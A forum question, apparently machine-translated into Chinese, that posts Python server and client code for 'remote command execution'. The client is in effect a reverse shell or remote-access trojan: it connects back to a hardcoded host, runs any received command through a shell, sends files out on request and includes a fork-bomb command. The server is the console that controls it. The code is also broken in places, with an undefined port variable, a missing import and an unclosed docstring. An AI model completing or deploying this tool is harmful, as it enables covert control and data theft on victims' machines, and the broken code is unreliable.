python - 服务器和客户端之间的远程命令执行？

Question

嗨我需要帮助有人可以告诉我如何运行服务器和客户端模型并运行从服务器到客户端和客户端到服务器的系统命令。这就是我想要做的任何帮助将不胜感激，谢谢。这是我的客户端服务器代码，但我无法从服务器端实现这 4 个步骤。

服务器代码：

import socket
import colorama

colorama.init()

LHOST = "192.168.10.7"
LPORT = 2222

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()

while True:
    input_header = client.recv(1024)
    command = input(input_header.decode()).encode()

    if command.decode("utf-8").split(" ")[0] == "download":
        file_name = command.decode("utf-8").split(" ")[1][::-1]
        client.send(command)
        with open(file_name, "wb") as f:
            read_data = client.recv(1024)
            while read_data:
                f.write(read_data)
                read_data = client.recv(1024)
                if read_data == b"DONE":
                    break

    if command is b"":
        print("Please enter a command")
    else:
        client.send(command)
        data = client.recv(1024).decode("utf-8")
        if data == "exit":
            print("Terminating connection", addr[0])
            break
        print(data)
client.close()
sock.close()

客户端代码：

import socket
import subprocess
import os
import platform
import getpass

from colorama import Fore, Style
from time import sleep

colorama.init()

RHOST = "192.168.10.7"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))

while True:
    try:
        header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
        sock.send(header.encode())
        STDOUT, STDERR = None, None
        cmd = sock.recv(1024).decode("utf-8")

        # List files in the dir
        if cmd == "list":
            sock.send(str(os.listdir(".")).encode())

        # Forkbomb
        if cmd == "forkbomb":
            while True:
                os.fork()

        # Change directory
        elif cmd.split(" ")[0] == "cd":
            os.chdir(cmd.split(" ")[1])
            sock.send("Changed directory to {}".format(os.getcwd()).encode())

        elif cmd =="arp -a":
            sock.send(cmd.encode())

        # Get system info
        elif cmd == "sysinfo":

            """
            sock.send(sysinfo.encode())

        # Download files
        elif cmd.split(" ")[0] == "download":
            with open(cmd.split(" ")[1], "rb") as f:
                file_data = f.read(1024)
                while file_data:
                    print("Sending", file_data)
                    sock.send(file_data)
                    file_data = f.read(1024)
                sleep(2)
                sock.send(b"DONE")
            print("Finished sending data")

        # Terminate the connection
        elif cmd == "exit":
            sock.send(b"exit")
            break

        # Run any other command
        else:
            comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            STDOUT, STDERR = comm.communicate()
            if not STDOUT:
                sock.send(STDERR)
            else:
                sock.send(STDOUT)

        # If the connection terminates
        if not cmd:
            print("Connection dropped")
            break
    except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
